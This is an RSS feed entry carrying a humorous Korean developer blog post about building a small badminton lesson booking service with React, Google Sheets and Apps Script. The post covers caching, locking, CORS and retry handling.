<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>songyeonji.log</title>
        <link>https://velog.io/</link>
        <description>프론트엔드 개발쟈!!</description>
        <lastBuildDate>Sat, 08 Aug 2026 02:09:07 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>songyeonji.log</title>
            <url>https://velog.velcdn.com/images/songyeonji_/profile/f0b0dff9-7e9d-45ad-b4f3-c69087c71468/social_profile.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. songyeonji.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/songyeonji_" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[외주비 5만 원 받고 16명만을 위한 예약 서비스를 만들었다]]></title>
            <link>https://velog.io/@songyeonji_/%EC%99%B8%EC%A3%BC%EB%B9%84-5%EB%A7%8C-%EC%9B%90-%EB%B0%9B%EA%B3%A0-16%EB%AA%85%EB%A7%8C%EC%9D%84-%EC%9C%84%ED%95%9C-%EC%98%88%EC%95%BD-%EC%84%9C%EB%B9%84%EC%8A%A4%EB%A5%BC-%EB%A7%8C%EB%93%A4%EC%97%88%EB%8B%A4</link>
            <guid>https://velog.io/@songyeonji_/%EC%99%B8%EC%A3%BC%EB%B9%84-5%EB%A7%8C-%EC%9B%90-%EB%B0%9B%EA%B3%A0-16%EB%AA%85%EB%A7%8C%EC%9D%84-%EC%9C%84%ED%95%9C-%EC%98%88%EC%95%BD-%EC%84%9C%EB%B9%84%EC%8A%A4%EB%A5%BC-%EB%A7%8C%EB%93%A4%EC%97%88%EB%8B%A4</guid>
            <pubDate>Sat, 08 Aug 2026 02:09:07 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/c3dc5782-dbaf-4521-8966-4e4562e70ee4/image.png" alt=""></p>
<h3 id="google-sheets--apps-script로-실제-예약-서비스를-만들어본-이야기">Google Sheets + Apps Script로 실제 예약 서비스를 만들어본 이야기</h3>
<blockquote>
<p>고객은 한 명이었습니다.
실사용자는 16명이었습니다.
외주비는 5만 원이었습니다.</p>
<p>그리고 유지보수는 아직도 진행 중입니다.</p>
<p>고객님, 5만 원에 평생 수정은 너무한 거 아닌가요?</p>
</blockquote>
<p>어느 날 남자친구가 물어봤습니다.</p>
<blockquote>
<p>&quot;배드민턴 레슨 예약하는 거 웹으로 만들 수 있어?&quot;</p>
</blockquote>
<p>처음 들었을 때는 정말 간단해 보였습니다.</p>
<p>날짜 고르고,
시간 고르고,
예약 버튼 누르면 끝.</p>
<p>저도 가볍게 대답했습니다.</p>
<blockquote>
<p>&quot;이 정도면 만들 수 있겠는데?&quot;</p>
</blockquote>
<p>그렇게 외주비 <strong>5만 원</strong>을 받고 프로젝트를 시작했습니다.</p>
<p>물론 저는 이때 몰랐습니다.</p>
<p><strong>예약 서비스에서 가장 쉬운 기능이 &#39;예약하기&#39;라는 것을.</strong></p>
<hr>
<h2 id="예약-하나만-만들면-되는-줄-알았습니다">예약 하나만 만들면 되는 줄 알았습니다</h2>
<p>처음 기획했던 서비스는 단순했습니다.</p>
<p>배드민턴 레슨을 받는 회원들이 자신의 이름을 선택하고, 가능한 날짜와 시간을 확인한 뒤 예약하는 웹페이지.</p>
<p>실사용자는 약 <strong>16명</strong>이었습니다.</p>
<p>회원가입이 필요한 것도 아니었고, 대규모 트래픽이 들어올 서비스도 아니었습니다.</p>
<p>딱 배드민턴 레슨 회원들을 위한 작은 예약 페이지였습니다.</p>
<p>그런데 실제 사용하는 방식을 듣다 보니 하나씩 조건이 붙기 시작했습니다.</p>
<blockquote>
<p>&quot;사람마다 한 달에 신청 가능한 횟수가 달라.&quot;</p>
</blockquote>
<p>아, 그러면 회원별 예약 횟수를 따로 관리해야겠네.</p>
<blockquote>
<p>&quot;학교 일정 때문에 특정 날짜에는 수업을 안 해.&quot;</p>
</blockquote>
<p>그럼 휴무일 관리도 필요하겠네.</p>
<blockquote>
<p>&quot;신규 예약은 바로 되면 좋은데 변경이나 취소는 확인하고 싶어.&quot;</p>
</blockquote>
<p>그럼 승인 프로세스도 있어야겠네.</p>
<blockquote>
<p>&quot;그리고 누가 입금했는지도 볼 수 있으면 좋겠어.&quot;</p>
</blockquote>
<p>...네?</p>
<p>처음에는 분명</p>
<pre><code class="language-text">날짜 선택
→ 시간 선택
→ 예약</code></pre>
<p>이었는데 어느 순간 <strong>관리자 페이지</strong>가 생겼습니다.</p>
<p>지금은 관리자 페이지에서</p>
<ul>
<li>회원 관리</li>
<li>레슨 가능 요일 설정</li>
<li>시작/종료 시간 설정</li>
<li>예약 시간 간격 설정</li>
<li>휴무일 관리</li>
<li>회원별 월 예약 가능 횟수 관리</li>
<li>변경/취소 승인 및 반려</li>
<li>입금 여부 관리</li>
</ul>
<p>까지 할 수 있습니다.</p>
<p>여기쯤 와서 슬슬 깨달았습니다.</p>
<p><strong>이거 그냥 예약 버튼 하나 만드는 일이 아니었구나.</strong></p>
<hr>
<h2 id="사용자-16명을-위해-서버를-만들어야-하나">사용자 16명을 위해 서버를 만들어야 하나?</h2>
<p>프론트엔드는 익숙한 조합으로 시작했습니다.</p>
<pre><code class="language-text">React
TypeScript
Vite
Tailwind CSS</code></pre>
<p>문제는 데이터를 어디에 저장할 것이냐였습니다.</p>
<p>예약 서비스니까 당연히 DB는 필요합니다.</p>
<p>평소라면 자연스럽게 이런 구조를 먼저 생각했을 겁니다.</p>
<pre><code class="language-text">React
↓
Node.js / Spring Boot
↓
Database</code></pre>
<p>그런데 프로젝트 규모를 다시 봤습니다.</p>
<p><strong>실사용자 약 16명.</strong></p>
<p>여기서 갑자기 서버를 띄우고, DB를 만들고, 배포 환경을 구성하고, 운영까지 하는 게 맞을까?
<img src="https://velog.velcdn.com/images/songyeonji_/post/b59ab960-2b6c-4599-b085-1744638ed2df/image.png" alt=""></p>
<p>서비스보다 인프라가 더 거창해질 것 같았습니다.</p>
<p>그래서 이번에는 조금 다르게 접근해보기로 했습니다.</p>
<blockquote>
<p><strong>내가 직접 운영해야 하는 서버를 최대한 만들지 말자.</strong></p>
</blockquote>
<p>그렇게 선택한 게</p>
<p><strong>Google Spreadsheet + Google Apps Script</strong>였습니다.</p>
<p>구조는 단순했습니다.</p>
<pre><code class="language-text">React
↓
Google Apps Script
↓
Google Spreadsheet</code></pre>
<p>정확히 말하면 진짜 &#39;서버가 없는&#39; 것은 아닙니다.</p>
<p>Apps Script 역시 Google 서버에서 실행됩니다.</p>
<p>다만 제가 서버 인스턴스를 만들거나 프로세스를 띄우고 상태를 관리할 필요가 없는 <strong>Serverless에 가까운 구조</strong>로 사용한 것입니다.</p>
<p>서버 비용?</p>
<p><strong>0원.</strong></p>
<p>DB 비용?</p>
<p><strong>0원.</strong></p>
<p>외주비?</p>
<p><strong>5만 원.</strong></p>
<p>수익률이 상당히 좋아 보입니다.</p>
<p>아직 제 인건비를 계산하지 않았기 때문입니다.</p>
<p>계산하면 안 될 것 같습니다.</p>
<hr>
<h2 id="그런데-firebase도-무료-아닌가요">그런데 Firebase도 무료 아닌가요?</h2>
<p>여기서 당연히 Firebase도 후보에 있었습니다.</p>
<p>사용자가 많지 않은 만큼 Firestore 무료 범위에서도 충분히 운영 가능한 규모였습니다.</p>
<p>그래서 단순히</p>
<blockquote>
<p>&quot;무료라서 Apps Script를 선택했습니다.&quot;</p>
</blockquote>
<p>라고 하면 사실 이유가 부족합니다.</p>
<p>Firebase도 무료로 시작할 수 있으니까요.</p>
<p>제가 당시 Apps Script를 선택한 가장 큰 이유는 <strong>이번 규모에서 조금 더 가볍게 백엔드를 구성해보고 싶었기 때문</strong>이었습니다.</p>
<p>예약 데이터를 저장하는 것만 놓고 보면 정말 단순합니다.</p>
<pre><code class="language-text">이름
날짜
시간</code></pre>
<p>그런데 실제 예약 하나를 확정하려고 하니 저장 전에 확인해야 할 조건이 꽤 많았습니다.</p>
<pre><code class="language-text">등록된 회원인가?
↓
지난 날짜인가?
↓
레슨 가능한 요일인가?
↓
휴무일인가?
↓
정상적인 시간인가?
↓
이미 예약된 시간인가?
↓
이번 달 예약 가능 횟수가 남았는가?
↓
예약</code></pre>
<p>결국 필요했던 것은 단순한 저장소가 아니라 <strong>예약 규칙을 판단해 주는 작은 백엔드</strong>였습니다.</p>
<p>Firestore를 React에서 직접 사용하는 방법도 있었지만, 저는 최종 예약 판단을 프론트에 두고 싶지는 않았습니다.</p>
<p>프론트는</p>
<blockquote>
<p>&quot;19시 30분 예약할게요.&quot;</p>
</blockquote>
<p>라고 요청만 하고,</p>
<p>백엔드에서는</p>
<blockquote>
<p>회원 맞음.
휴무일 아님.
횟수 남음.
빈자리 맞음.
그럼 저장.</p>
</blockquote>
<p>을 판단하는 구조를 원했습니다.</p>
<p>Firebase를 사용하면서 Cloud Functions 같은 백엔드 레이어를 함께 구성할 수도 있었지만, 당시에는 다시 이런 생각이 들었습니다.</p>
<blockquote>
<p>사용자 16명인데, 일단 이렇게까지 필요한가?</p>
</blockquote>
<p>대규모 데이터도 없고, 복잡한 검색도 없고, 초 단위 실시간 동기화도 필요하지 않았습니다.</p>
<p>그래서 Firebase를 배제했다기보다는,</p>
<p><strong>Apps Script로 실제 서비스가 어디까지 가능한지 한 번 경험해보자는 쪽에 가까웠습니다.</strong></p>
<hr>
<h2 id="spreadsheet를-db처럼-써봤습니다">Spreadsheet를 DB처럼 써봤습니다</h2>
<p>구조를 정한 뒤 Spreadsheet도 역할별로 나눴습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/40b90e15-aa40-4085-8b1f-2db1229afe97/image.png" alt=""></p>
<pre><code class="language-text">Settings
Members
Blackouts
Bookings
Quotas</code></pre>
<p><code>Settings</code>에는 레슨 시작·종료 시간이나 예약 간격, 가능 요일 같은 기본 설정을 저장했습니다.</p>
<p><code>Members</code>에는 회원과 활성화 여부를 관리했습니다.</p>
<p>사용자가 자신의 이름을 직접 입력하지 않고 등록된 회원 중 선택하도록 한 이유도 있습니다.</p>
<p>자유 입력을 받으면 언젠가는 반드시</p>
<pre><code class="language-text">송연지
송 연지
연지
송연지님</code></pre>
<p>같은 데이터가 생깁니다.</p>
<p>그리고 이걸 정리하는 사람은 저입니다.</p>
<p>싫습니다.</p>
<p>그래서 선택형으로 만들었습니다.</p>
<p><code>Blackouts</code>에는 예약이 불가능한 특정 날짜를 저장했고, <code>Quotas</code>에서는 회원별 월 예약 가능 횟수를 관리했습니다.</p>
<p>가장 중요한 건 역시 <code>Bookings</code>입니다.</p>
<p>단순히 이름과 날짜만 저장하는 대신 예약의 상태까지 함께 남겼습니다.</p>
<pre><code class="language-text">id
name
date
slot
status
requestType
supersedesId
createdAt
decidedAt
note</code></pre>
<p>신규 예약은 조건을 통과하면 바로 확정합니다.</p>
<pre><code class="language-text">requestType: new
status: approved</code></pre>
<p>반면 변경이나 취소는 기존 예약에 영향을 주기 때문에 관리자 승인을 받도록 했습니다.</p>
<pre><code class="language-text">requestType: change / cancel
status: pending</code></pre>
<p>그리고 <code>supersedesId</code>를 이용해 어떤 기존 예약에 대한 변경 또는 취소 요청인지 연결했습니다.</p>
<p>기존 예약 자체를 먼저 수정해버리지 않고 <strong>새로운 요청 데이터를 하나 추가하는 구조</strong>입니다.</p>
<p>그래서 변경 요청이 반려돼도 원래 예약은 그대로 남습니다.</p>
<p>처음에는 16명짜리 예약인데 이렇게까지 해야 하나 싶었는데, 실제 사용되기 시작하니 오히려 이런 부분이 중요했습니다.</p>
<hr>
<h2 id="그런데-spreadsheet-세팅도-직접-하기-싫었습니다">그런데 Spreadsheet 세팅도 직접 하기 싫었습니다</h2>
<p>여기까지 만들고 보니 새로운 Spreadsheet를 만들 때마다</p>
<pre><code class="language-text">Settings 만들고
Members 만들고
Bookings 만들고
헤더 적고
기본값 넣고...</code></pre>
<p>하는 것도 귀찮았습니다.</p>
<p>그래서 Apps Script에 <code>initSpreadsheet()</code>를 만들었습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/ddbabed6-f71a-4ff6-8f56-f7af5a9da3fa/image.png" alt=""></p>
<p>한 번 실행하면 필요한 Sheet가 존재하는지 확인하고, 없다면 자동으로 생성한 뒤 헤더와 기본값까지 넣습니다.</p>
<p>덕분에 기본 구조는</p>
<pre><code class="language-text">Spreadsheet 생성
↓
Apps Script 연결
↓
initSpreadsheet()
↓
기본 데이터 구조 완성</code></pre>
<p>정도로 만들 수 있게 됐습니다.</p>
<p>분명 Google Spreadsheet를 사용하고 있는데,</p>
<p>어느 순간 <strong>DB Migration 비슷한 걸 만들고 있었습니다.</strong></p>
<hr>
<h2 id="그래서-apps-script는-어떻게-연결했냐면">그래서 Apps Script는 어떻게 연결했냐면</h2>
<p>Google Spreadsheet에는 자체적으로 Apps Script를 연결할 수 있습니다.</p>
<p>상단의
<img src="https://velog.velcdn.com/images/songyeonji_/post/0f1c9d8c-db5a-457d-ad01-0b690859f821/image.png" alt=""></p>
<pre><code class="language-text">확장 프로그램
→ Apps Script</code></pre>
<p>로 들어가면 해당 Spreadsheet와 연결된 프로젝트를 만들 수 있습니다.</p>
<p>그리고 Apps Script에서는 별도의 npm 라이브러리 없이 Spreadsheet에 바로 접근할 수 있습니다.</p>
<pre><code class="language-javascript">const spreadsheet =
  SpreadsheetApp.getActiveSpreadsheet();

const sheet =
  spreadsheet.getSheetByName(&#39;Bookings&#39;);

const values =
  sheet.getDataRange().getValues();</code></pre>
<p>Spreadsheet에</p>
<pre><code class="language-text">id | name   | date
1  | 연지   | 2026-08-01
2  | 홍길동 | 2026-08-02</code></pre>
<p>가 있다면 JavaScript에서는 대략</p>
<pre><code class="language-javascript">[
  [&#39;id&#39;, &#39;name&#39;, &#39;date&#39;],
  [&#39;1&#39;, &#39;연지&#39;, &#39;2026-08-01&#39;],
  [&#39;2&#39;, &#39;홍길동&#39;, &#39;2026-08-02&#39;]
]</code></pre>
<p>같은 배열로 가져옵니다.</p>
<p>여기까지 하고 처음 생각했습니다.</p>
<blockquote>
<p>어라...?
이 정도 규모면 진짜 DB처럼 써볼 만한데?</p>
</blockquote>
<p>물론 MySQL이나 PostgreSQL 같은 데이터베이스를 대체한다는 뜻은 아닙니다.</p>
<p>다만 이 프로젝트 규모에서는 충분히 재미있는 선택지였습니다.</p>
<hr>
<h2 id="doget-dopost로-api도-만들-수-있습니다">doGet, doPost로 API도 만들 수 있습니다</h2>
<p>Apps Script를 Web App으로 배포하면 HTTP 요청도 받을 수 있습니다.</p>
<p>GET 요청은</p>
<pre><code class="language-javascript">doGet(e)</code></pre>
<p>POST 요청은</p>
<pre><code class="language-javascript">doPost(e)</code></pre>
<p>로 들어옵니다.</p>
<p>Express를 사용해봤다면 대충</p>
<pre><code class="language-javascript">app.get(...)
app.post(...)</code></pre>
<p>와 비슷한 역할이라고 생각하면 됩니다.</p>
<p>예를 들어 프론트에서</p>
<pre><code class="language-text">?action=getState</code></pre>
<p>로 요청했다면</p>
<pre><code class="language-javascript">function doGet(e) {
  const action = e.parameter.action;

  if (action === &#39;getState&#39;) {
    return jsonResponse(getState());
  }
}</code></pre>
<p>형태로 조회할 수 있습니다.</p>
<p>예약 요청은 POST로 보냈습니다.</p>
<pre><code class="language-javascript">await fetch(APPS_SCRIPT_URL, {
  method: &#39;POST&#39;,
  headers: {
    &#39;Content-Type&#39;: &#39;text/plain;charset=utf-8&#39;,
  },
  body: JSON.stringify({
    action: &#39;submitRequest&#39;,
    name: &#39;송연지&#39;,
    date: &#39;2026-08-22&#39;,
    slot: &#39;19:30&#39;,
  }),
});</code></pre>
<p>Apps Script에서는 다시 JSON으로 파싱합니다.</p>
<pre><code class="language-javascript">function doPost(e) {
  const body = JSON.parse(e.postData.contents);

  if (body.action === &#39;submitRequest&#39;) {
    return jsonResponse(
      submitRequest(body)
    );
  }
}</code></pre>
<p>요청마다 URL을 따로 만들기보다</p>
<pre><code class="language-text">submitRequest
decide
saveSettings
saveMembers
...</code></pre>
<p>처럼 <code>action</code>으로 분기했습니다.</p>
<p>사용자가 16명인데 Router 프레임워크부터 만들고 있으면 그건 서비스 문제가 아니라 제 문제일 가능성이 높습니다.</p>
<hr>
<h2 id="배포-버튼을-누르면-진짜-api-주소가-생깁니다">배포 버튼을 누르면 진짜 API 주소가 생깁니다</h2>
<p>Apps Script에서</p>
<pre><code class="language-text">배포
→ 새 배포
→ 웹 앱</code></pre>
<p>으로 배포하면 <code>/exec</code> 형태의 URL을 받을 수 있습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/18921140-d65b-46e5-b563-885f9ba57a13/image.png" alt=""></p>
<pre><code class="language-text">https://script.google.com/macros/s/xxxx/exec</code></pre>
<p>이걸 React 환경변수에 넣었습니다.</p>
<pre><code class="language-text">VITE_APPS_SCRIPT_URL=...</code></pre>
<p>이후 프론트에서는 그냥 일반적인 API처럼 호출하면 됩니다.</p>
<pre><code class="language-javascript">fetch(`${API_URL}?action=getState`);</code></pre>
<p>결국 프론트 입장에서는 평범합니다.</p>
<pre><code class="language-text">React
↓
HTTP Request
↓
JSON Response
↓
렌더링</code></pre>
<p>그 뒤에 있는 서버가 Apps Script일 뿐입니다.</p>
<p>AWS 없습니다.</p>
<p>EC2 없습니다.</p>
<p>Docker 없습니다.</p>
<p>Nginx 없습니다.</p>
<p>그런데 API 주소는 있습니다.</p>
<p>이 맛에 해봤습니다.</p>
<hr>
<h2 id="그렇게-완성인-줄-알았는데요">그렇게 완성...인 줄 알았는데요</h2>
<p>예약도 됐습니다.</p>
<p>관리자 페이지에서도 수정할 수 있었습니다.</p>
<p>신규 예약은 즉시 확정되고, 변경과 취소만 관리자의 판단을 받도록 만들었습니다.</p>
<p>모바일 반응형도 맞춰뒀습니다.</p>
<p>여기까지만 보면 잘 끝난 것 같았습니다.</p>
<p><strong>실사용자들이 들어오기 전까지는요.</strong></p>
<p>직접 사용하기 시작하니 가장 먼저 보인 건 속도였습니다.</p>
<p>한 번 화면을 조회할 때마다</p>
<pre><code class="language-text">Settings
Members
Blackouts
Bookings
Quotas</code></pre>
<p>를 Spreadsheet에서 읽다 보니 묘하게 기다리는 시간이 생겼습니다.</p>
<p>사용자는 서버가 Google인지 AWS인지 관심 없습니다.</p>
<p>그냥 느리면 느린 겁니다.</p>
<p>그래서 처음 넣은 게 <strong>CacheService</strong>였습니다.</p>
<p>상태 조회처럼 자주 불리지만 매초 바뀌지는 않는 데이터는 일정 시간 Apps Script 캐시에 저장했습니다.</p>
<pre><code class="language-text">getState()
↓
캐시 있음?
↓
YES → 바로 반환

NO
↓
Spreadsheet 조회
↓
캐시 저장</code></pre>
<p>그런데 캐시를 넣고 보니 새로운 문제가 생깁니다.</p>
<p>누군가 예약했는데 이전 상태가 캐시에 남아 있으면 안 됩니다.</p>
<p>그래서 쓰기 작업이 일어나는 순간 캐시를 삭제하도록 했습니다.</p>
<pre><code class="language-text">조회
→ Cache 사용

예약/변경
→ Cache 무효화

다음 조회
→ Spreadsheet 최신 데이터
→ 다시 Cache</code></pre>
<p>이때 느꼈습니다.</p>
<p><strong>캐시는 넣는 것보다 언제 버릴지 정하는 게 더 어렵구나.</strong></p>
<p>사용자는 16명인데 Cache Invalidation을 고민하고 있습니다.</p>
<hr>
<h2 id="결국-브라우저에도-캐시를-만들었습니다">결국 브라우저에도 캐시를 만들었습니다</h2>
<p>Apps Script만 캐싱하지 않고 프론트에서도 마지막으로 받아온 상태를 <code>localStorage</code>에 저장했습니다.</p>
<p>결국 구조가</p>
<pre><code class="language-text">Browser Cache
↓
Apps Script CacheService
↓
Spreadsheet</code></pre>
<p>가 됐습니다.</p>
<p>예약처럼 데이터가 변경되면 프론트 캐시도 지우고, 다음 조회에서는 새로운 값을 가져옵니다.</p>
<p>분명 가볍게 시작한 프로젝트였습니다.</p>
<p>점점 안 가벼워지고 있습니다.</p>
<hr>
<h2 id="예약-하나-때문에-전체-sheet를-다시-쓸-필요도-없었습니다">예약 하나 때문에 전체 Sheet를 다시 쓸 필요도 없었습니다</h2>
<p>초기에는 Spreadsheet 전체 데이터를 읽고 다시 <code>setValues()</code>로 저장하는 방식도 사용했습니다.</p>
<p>그런데 예약은 계속 쌓이는 데이터입니다.</p>
<p>예약 한 건을 추가하기 위해</p>
<pre><code class="language-text">전체 Bookings 읽기
↓
새 예약 추가
↓
전체 삭제
↓
전체 다시 작성</code></pre>
<p>하는 건 비효율적이었습니다.</p>
<p>그래서 신규 예약은</p>
<pre><code class="language-javascript">appendRow(...)</code></pre>
<p>를 사용해 한 줄만 추가하도록 수정했습니다.</p>
<p>작은 최적화이지만 데이터가 누적될수록 차이가 날 수 있는 부분이었습니다.</p>
<p>솔직히 16명인데 굳이 여기까지 해야 하나 싶었습니다.</p>
<p>하지만 한 번 비효율이 보인 이상 그냥 지나가기는 어려웠습니다.</p>
<hr>
<h2 id="사용자-16명이어도-race-condition은-생깁니다">사용자 16명이어도 Race Condition은 생깁니다</h2>
<p>그러다 예약 시스템다운 문제도 만났습니다.</p>
<p>19시 30분 자리가 하나 남았다고 해보겠습니다.</p>
<p>A와 B가 거의 동시에 예약 버튼을 누릅니다.</p>
<p>둘 다 데이터를 읽었을 때</p>
<pre><code class="language-text">19:30 → 예약 가능</code></pre>
<p>이라면 둘 다 저장될 가능성이 있습니다.</p>
<p>사용자가 수만 명일 필요도 없습니다.</p>
<p><strong>두 명이면 충분했습니다.</strong></p>
<p>그래서 데이터를 변경하는 요청에는 Apps Script의 <code>LockService</code>를 사용했습니다.</p>
<pre><code class="language-text">A 예약
↓
Lock 획득
↓
예약 가능 여부 다시 검사
↓
저장
↓
Lock 해제

B 예약
↓
Lock 대기
↓
A 처리 완료
↓
다시 검사
↓
이미 예약됨</code></pre>
<p>대신 단순 조회에는 Lock을 걸지 않았습니다.</p>
<p>읽기까지 모두 줄 세우면 괜히 느려지기 때문입니다.</p>
<p>이 프로젝트를 하면서 동시성 문제는 사용자 수보다</p>
<p><strong>같은 공유 자원을 동시에 수정할 수 있느냐</strong></p>
<p>가 더 중요하다는 걸 직접 체감했습니다.</p>
<hr>
<h2 id="apps-script를-쓴다고-프론트-문제가-사라지는-건-아니었습니다">Apps Script를 쓴다고 프론트 문제가 사라지는 건 아니었습니다</h2>
<p>프론트에서 Apps Script로 요청을 보내면서 CORS도 만났습니다.</p>
<p>POST를 일반적인 <code>application/json</code>으로 보내면 preflight 문제가 생길 수 있어서</p>
<pre><code class="language-text">Content-Type: text/plain;charset=utf-8</code></pre>
<p>로 보내고 body에는 JSON 문자열을 담았습니다.</p>
<pre><code class="language-javascript">fetch(API_URL, {
  method: &#39;POST&#39;,
  headers: {
    &#39;Content-Type&#39;: &#39;text/plain;charset=utf-8&#39;,
  },
  body: JSON.stringify(data),
});</code></pre>
<p>Apps Script에서는 다시</p>
<pre><code class="language-javascript">const body =
  JSON.parse(e.postData.contents);</code></pre>
<p>로 변환했습니다.</p>
<p>서버를 직접 만들지 않으면 서버 문제가 사라지는 줄 알았습니다.</p>
<p>아닙니다.</p>
<p><strong>종류가 조금 바뀔 뿐입니다.</strong></p>
<hr>
<h2 id="실패했다고-다-재시도해도-안-됐습니다">실패했다고 다 재시도해도 안 됐습니다</h2>
<p>네트워크 요청이다 보니 재시도 처리도 필요했습니다.</p>
<p>처음에는 단순하게 생각했습니다.</p>
<blockquote>
<p>실패했으면 다시 보내면 되지.</p>
</blockquote>
<p>그런데 예약 요청에서는 위험합니다.</p>
<p>Apps Script에서는 이미 저장했지만 응답을 받는 과정에서 네트워크 오류가 발생했다면, 프론트는 실패했다고 생각합니다.</p>
<p>그 상태에서 자동 재시도를 하면 같은 요청이 두 번 처리될 수도 있습니다.</p>
<p>그래서 상태 조회처럼 다시 실행해도 안전한 요청과</p>
<pre><code class="language-text">상태 조회
설정 조회</code></pre>
<p>중복 실행되면 안 되는 요청을</p>
<pre><code class="language-text">예약
승인/반려</code></pre>
<p>나눠서 처리했습니다.</p>
<p>결국</p>
<blockquote>
<p>&quot;실패했나?&quot;</p>
</blockquote>
<p>뿐만 아니라</p>
<blockquote>
<p><strong>&quot;이 요청은 다시 실행해도 안전한가?&quot;</strong></p>
</blockquote>
<p>까지 생각하게 됐습니다.</p>
<p><code>fetch()</code> 하나에서 시작했는데 어느새 멱등성을 고민하고 있습니다.</p>
<p>5만 원입니다.</p>
<hr>
<h2 id="실시간까지-websocket을-쓸-필요는-없었습니다">실시간까지 WebSocket을 쓸 필요는 없었습니다</h2>
<p>누군가 새로 예약하면 다른 사용자 화면에도 어느 정도 빠르게 보여야 했습니다.</p>
<p>하지만 이 서비스에서 초 단위 실시간 동기화는 필요하지 않았습니다.</p>
<p>그래서 일정 시간마다 다시 조회하는 <strong>Polling</strong> 방식을 사용했습니다.</p>
<p>그리고 현재 브라우저 탭이 백그라운드라면 굳이 API를 계속 호출할 필요가 없으니</p>
<pre><code class="language-javascript">document.visibilityState</code></pre>
<p>를 확인해 화면이 보이는 경우에만 갱신했습니다.</p>
<pre><code class="language-text">페이지 보고 있음
→ Polling

다른 탭 보고 있음
→ 요청 생략</code></pre>
<p>WebSocket도 없고 Firebase의 실시간 Listener도 없지만,</p>
<p>현재 규모에서는 이 정도로 충분했습니다.</p>
<hr>
<h2 id="실제-사용자가-있다는-건-생각보다-재미있었습니다">실제 사용자가 있다는 건 생각보다 재미있었습니다</h2>
<p>이 프로젝트는 처음부터 실제 사용할 사람이 있었습니다.</p>
<p>그래서 개인 프로젝트와는 확실히 달랐습니다.</p>
<p>혼자 만드는 프로젝트에서는 제가 예상한 방식으로만 사용합니다.</p>
<p>만든 사람도 저고, 테스트하는 사람도 저니까요.</p>
<p>그런데 실제 사용자가 생기면 제가 생각하지 않은 사용 방식이 나옵니다.</p>
<blockquote>
<p>&quot;여기서 바로 변경할 수 있으면 좋을 것 같아.&quot;</p>
</blockquote>
<blockquote>
<p>&quot;이 기능도 있으면 편할 것 같은데?&quot;</p>
</blockquote>
<blockquote>
<p>&quot;여기 조금 다르게 보이면 좋겠어.&quot;</p>
</blockquote>
<p>이런 피드백이 실제 사용자에게서 들어왔고, 그걸 하나씩 반영하면서 기능이 계속 늘어났습니다.</p>
<p>처음에는</p>
<pre><code class="language-text">예약</code></pre>
<p>하나였던 서비스가</p>
<pre><code class="language-text">회원별 예약 가능 횟수
휴무일
변경/취소
관리자 승인
입금 여부
관리자 페이지
모바일 반응형
캐시
Lock
Polling
재시도</code></pre>
<p>까지 왔습니다.</p>
<p>처음 프로젝트를 시작했던 저에게 지금 코드를 보여주면 아마 이렇게 물을 겁니다.</p>
<blockquote>
<p>&quot;우리 5만 원 받은 거 맞지?&quot;</p>
</blockquote>
<p>네.</p>
<p>맞습니다.</p>
<hr>
<h2 id="실사용자의-가장-무서운-말">실사용자의 가장 무서운 말</h2>
<p>배포 후 가장 기분 좋은 말은</p>
<blockquote>
<p>&quot;잘 쓰고 있어.&quot;</p>
</blockquote>
<p>였습니다.</p>
<p>그런데 이 말에는 높은 확률로 다음 문장이 붙습니다.</p>
<blockquote>
<p>&quot;근데 혹시 이것도 되나?&quot;</p>
</blockquote>
<p>업데이트 +1.</p>
<p>며칠 뒤,</p>
<blockquote>
<p>&quot;여기 이것만 조금 바꾸면 더 좋을 것 같은데.&quot;</p>
</blockquote>
<p>업데이트 +1.</p>
<p>다시 며칠 뒤,</p>
<blockquote>
<p>&quot;아 그리고 하나만 더.&quot;</p>
</blockquote>
<p>업데이트 +1.</p>
<p>그리고 고객은 제 남자친구입니다.</p>
<p>연락을 차단할 수도 없습니다.</p>
<p>결국 저는 한 번 통보했습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/c3ee869f-7dc4-4d22-976a-d3d5dc0f0b3b/image.png" alt=""></p>
<blockquote>
<p><strong>고객님, 외주비 5만 원에 평생 무료 수정은 너무한 것 같습니다.</strong></p>
</blockquote>
<p>그런데 오늘도 GitHub에는 커밋이 올라갑니다.</p>
<p>유지보수 계약은 별개라는 사실을 다음 프로젝트 전에는 명확히 해야겠습니다.</p>
<hr>
<h2 id="그래도-사용자가-있다는-게-이-프로젝트의-가장-큰-장점이었습니다">그래도 사용자가 있다는 게 이 프로젝트의 가장 큰 장점이었습니다</h2>
<p>말은 계속 업데이트한다고 투덜거리지만, 사실 개인적으로는 이게 이 프로젝트에서 가장 좋았던 점입니다.</p>
<p>포트폴리오용 프로젝트라면 보통</p>
<pre><code class="language-text">기능 구현
↓
배포
↓
끝</code></pre>
<p>이 됩니다.</p>
<p>하지만 이 프로젝트는</p>
<pre><code class="language-text">기능 구현
↓
실제 사용
↓
피드백
↓
수정
↓
다시 사용
↓
새로운 요구사항</code></pre>
<p>이 계속 반복됐습니다.</p>
<p>덕분에 기능을 만들 때도</p>
<blockquote>
<p>&quot;내가 보기 좋은가?&quot;</p>
</blockquote>
<p>보다</p>
<blockquote>
<p><strong>&quot;실제 사용하는 사람이 편한가?&quot;</strong></p>
</blockquote>
<p>를 더 많이 생각하게 됐습니다.</p>
<p>그리고 화면 하나를 추가할 때도 단순히 PC 화면만 보는 게 아니라 이미 만들어둔 모바일 반응형 화면에서</p>
<blockquote>
<p>이 버튼 누르기 편한가?
이 정보가 한눈에 들어오는가?
예약 과정이 너무 길지는 않은가?</p>
</blockquote>
<p>를 같이 보게 됐습니다.</p>
<p><strong>만들고 끝나는 프로젝트가 아니라 실제로 굴러가는 서비스를 만들어본 것.</strong></p>
<p>이게 가장 큰 경험이었습니다.</p>
<hr>
<h2 id="여기서-끝일까요">여기서 끝일까요?</h2>
<p>아직은 아닐 것 같습니다.</p>
